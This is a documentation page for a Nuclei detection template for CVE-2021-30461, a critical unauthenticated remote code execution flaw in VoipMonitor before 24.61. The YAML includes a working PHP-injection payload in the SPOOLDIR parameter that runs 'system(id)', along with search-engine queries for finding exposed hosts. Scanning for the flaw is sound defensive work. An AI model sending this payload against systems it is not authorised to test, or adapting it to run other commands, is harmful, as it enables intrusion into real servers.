Skip to content
Nuclei Templates

VoipMonitor <24.61 - Remote Code Execution

ID: CVE-2021-30461

Severity: critical

Author: shifacyclewala,hackergautam

Tags: cve2021,cve,rce,voipmonitor

Description

Section titled “Description”

VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing remote unauthenticated users to trigger a remote PHP code execution vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2021-30461


info:
  name: VoipMonitor <24.61 - Remote Code Execution
  author: shifacyclewala,hackergautam
  severity: critical
  description: |
    VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing  remote unauthenticated users to trigger a remote PHP code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade VoipMonitor to version 24.61 or later to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30461
    - https://ssd-disclosure.com/ssd-advisory--voipmonitor-unauth-rce
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/openx-org/BLEN
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30461
    cwe-id: CWE-94
    epss-score: 0.95518
    epss-percentile: 0.99386
    cpe: cpe:2.3:a:voipmonitor:voipmonitor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: voipmonitor
    product: voipmonitor
    shodan-query:
      - http.title:"VoIPmonitor"
      - http.title:"voipmonitor"
    fofa-query: title="voipmonitor"
    google-query: intitle:"voipmonitor"
  tags: cve2021,cve,rce,voipmonitor


http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded


        SPOOLDIR=test".system(id)."&recheck=Recheck


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "VoIPmonitor installation"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a0047304502200206a2256f90f5b8dadde2aa618372b9a42645e3ef2159eb0076812abb8851a1022100bb2fc46c9290f3c589a73b5bc627d304dfde9d3fdb10d71deee4e76165c29c39:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-30461.yaml"

View on Github